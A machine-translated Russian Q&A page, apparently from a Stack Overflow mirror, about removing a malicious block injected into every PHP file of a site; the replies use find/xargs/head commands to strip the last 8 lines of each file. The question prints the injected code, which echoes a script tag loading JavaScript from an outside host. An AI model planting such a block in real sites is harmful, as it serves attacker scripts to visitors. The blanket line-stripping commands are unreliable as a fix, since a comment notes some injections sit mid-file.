2015-10-28 4 views
0

Все мой файл .php был приложен блок кода, как это:Удалить вредоносные программы в PHP файле

<?php 
#bbf007# 
if(empty($r)) { 
$r = "<script type=\"text/javascript\" src=\"http://web- ask.esy.es/m2nzgpzt.php?id=11101326\"></script>"; 
echo $r; 
} 
#/bbf007# 
?> 

Мне нужно написать Баш скрипт с регулярным выражением, чтобы удалить этот блок из кода файла. Пожалуйста, помогите мне.

ответ

0

Резервное копирование сначала!

Ниже будет принимать все, кроме последних 8 строк из всех .php файлов в текущем каталоге и его подкаталогах, и записать их в файл с именем * .php.new:

find -name "*.php" | xargs -i sh -c 'head -n -8 {} > {}.new' 

Затем движение все текущие файлы РНР * .php.old:

find -name "*.php" | xargs -i sh -c 'mv {} {}.old' 

Затем переместите .php.new файлы .php

find -name "*.php.new" | xargs -i sh -c 'mv {} `echo '{}' | head -c -5`' 
+0

Удаление 8 ла st-строки доступны только для файлов, добавленных в конце файла, но есть некоторые файлы, которые были добавлены в середине содержимого файла. Поэтому я думаю, что нам нужно обнаружить блок кода вредоносного кода и удалить его –